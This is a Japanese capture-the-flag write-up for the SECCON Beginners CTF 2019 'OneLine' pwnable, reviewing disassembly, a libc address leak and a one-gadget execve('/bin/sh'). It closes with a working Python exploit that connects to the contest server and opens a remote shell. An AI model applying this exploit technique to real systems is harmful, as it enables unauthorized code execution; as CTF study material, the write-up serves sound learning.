はじめに
SECCON Beginners CTF 2019に出場し,1220点で84位でした.
Pwnable問題が全く解けなかったので,現在いろいろな方のWrite upを見て勉強中です.
理解確認も込めて復習した内容を記載したいと思います.
OneLine
参考にした記事
https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937
https://qiita.com/xio_yae/items/8047b9b3cf60d57b4bc7
http://katc.hateblo.jp/entry/2016/10/28/124025
https://osanamity.net/2018/11/06/110940
https://qiita.com/kusano_k/items/c1c7ebec353d0bfdf1eb
まずアセンブリを読んで見ます.
$ objdump -d -M intel oneline
000000000000086d <main>:
86d: 55 push rbp
86e: 48 89 e5 mov rbp,rsp
871: 48 83 ec 10 sub rsp,0x10
875: be 01 00 00 00 mov esi,0x1
87a: bf 28 00 00 00 mov edi,0x28
87f: e8 7c fe ff ff call 700 <calloc@plt> // rax = calloc(40, 1)
884: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax // *(rbp-0x8) = rax bufferを初期化している
888: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
88c: 48 8b 15 45 07 20 00 mov rdx,QWORD PTR [rip+0x200745] # 200fd8 <write@GLIBC_2.2.5> // rdxにwriteのアドレスを入れている
893: 48 89 50 20 mov QWORD PTR [rax+0x20],rdx // (1) bufferの33Byte目にはwriteのアドレスが格納される
...
8a8: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
8ac: ba 28 00 00 00 mov edx,0x28
8b1: 48 89 c6 mov rsi,rax
8b4: bf 00 00 00 00 mov edi,0x0
8b9: e8 32 fe ff ff call 6f0 <read@plt> // (2) rax = read(0, buffer, 40)
8be: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] // raxにbufferの先頭アドレスを代入
8c2: 48 8b 40 20 mov rax,QWORD PTR [rax+0x20] // (3) raxにbuffer+32つまり(bufferに何も入力がなければ)writeのアドレスが入る
8c6: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8]
8ca: ba 28 00 00 00 mov edx,0x28
8cf: 48 89 ce mov rsi,rcx
8d2: bf 01 00 00 00 mov edi,0x1
8d7: ff d0 call rax // (4) raxつまりwrite(1, buffer, 40)が呼ばれる
8d9: 48 8d 3d f1 00 00 00 lea rdi,[rip+0xf1] # 9d1 <_IO_stdin_used+0x21>
...
8fb: e8 f0 fd ff ff call 6f0 <read@plt> // (5) eax = read(0, buffer, 40)
...
91a: ff d0 call rax // (6) buffer+32のアドレスにある命令が呼ばれる
上記プログラムは実行すると
$ ./oneline
You can input text here!
>> aa
aa
@ァ絨nce more again!
>> aa
aa
のように入力待ちとなったあと,入力した文字が表示されるというのが2回繰り返されるがこれは
(2)のreadで入力をbufferに格納
(3)で文字が32文字以内の場合は残り8Byteに格納されているwrite命令がraxに代入される
(4)raxが実行される
(5),(6)で同様
という流れで動くからです.試しに標準入力に入れる文字数を32と33で変更してみると(3),(4)の挙動がわかります(echo -nのnは改行文字を入れないオプション)
$ echo -n 12345678901234567890123456789012 | ./oneline
You can input text here!
>> 12345678901234567890123456789012@瞼Once more again! // 入力文字列が表示される
$ echo -n 123456789012345678901234567890123 | ./oneline
You can input text here! // 入力文字列が表示されない
>> Once more again!
$
そうすると方針としては以下のようになります.
- 1回目のreadに空文字を入力すると33バイト目にwriteのアドレスが入った文字列が返ってくる
- writeのアドレス-libcのwriteのアドレスでlibcのベースとなる
- libcのベースのアドレス+/bin/shを起動する命令のアドレスを2回目のreadに食わせる
- (6)で/bin/shを起動する命令が実行される
libcのwriteのアドレスは以下で取得できます
$ nm -D libc-2.27.so | grep write
000000000008cea0 T _IO_do_write
...
0000000000110140 W write
00000000001166a0 W writev
/bin/shを起動する命令はsystem("/bin/sh")が簡単だが,今回
90b: 8b 55 f4 mov edx,DWORD PTR [rbp-0xc]
90e: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8]
912: 48 89 ce mov rsi,rcx
915: bf 01 00 00 00 mov edi,0x1 // edi = 1
91a: ff d0 call rax // (6)
raxにsystemのアドレスを渡すと第1引数が1となってしまいsystem("/bin/sh")が実行できないです.
そんな場合はOne-gadget RCEと呼ばれる手法を用いるそうです.
One-gadget RCEは特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行する箇所がlibcに存在するらしく,そこをraxに入れるという寸法です.
One-gadgetの探し方としては/bin/shのアドレスを直接入れるexecveを探せばよいそうで
$ strings -tx -a libc-2.27.so | grep "/bin/sh"
1b3e9a /bin/sh
$ objdump -d libc-2.27.so | grep 1b3e9a -A 8 -B 8 | grep execve -B 8
4f322: 48 8b 05 7f bb 39 00 mov 0x39bb7f(%rip),%rax # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
4f329: 48 8d 3d 6a 4b 16 00 lea 0x164b6a(%rip),%rdi # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
4f330: 48 8d 74 24 40 lea 0x40(%rsp),%rsi
4f335: c7 05 a1 e2 39 00 00 movl $0x0,0x39e2a1(%rip) # 3ed5e0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
4f33c: 00 00 00
4f33f: c7 05 9b e2 39 00 00 movl $0x0,0x39e29b(%rip) # 3ed5e4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
4f346: 00 00 00
4f349: 48 8b 10 mov (%rax),%rdx
4f34c: e8 df 5a 09 00 callq e4e30 <execve@@GLIBC_2.2.5>
--
...
上記の4f322からの命令がexecve("/bin/sh", NULL, environ)になるそうです.
以上を踏まえて攻撃手法をまとめると
- 1回目のreadに空文字を入力しwriteのアドレスを取得する
- writeのアドレス-libcのwriteのアドレスでlibcのベースを取得する
- 2回目のreadにlibcのベースのアドレス+4f322を入力する
となります.
実際のコードは以下です
import socket
import struct
import time
import telnetlib
s = socket.create_connection(("153.120.129.186", 10000))
time.sleep(1)
s.recv(40)
s.send(b"aaa")
d = s.recv(40)
write_addr = struct.unpack("<Q", d[0x20:])[0]
rce = write_addr - 0x110140 + 0x4f322
s.send(b"a"*0x20+struct.pack("<Q", rce))
t = telnetlib.Telnet()
t.sock = s
t.interact()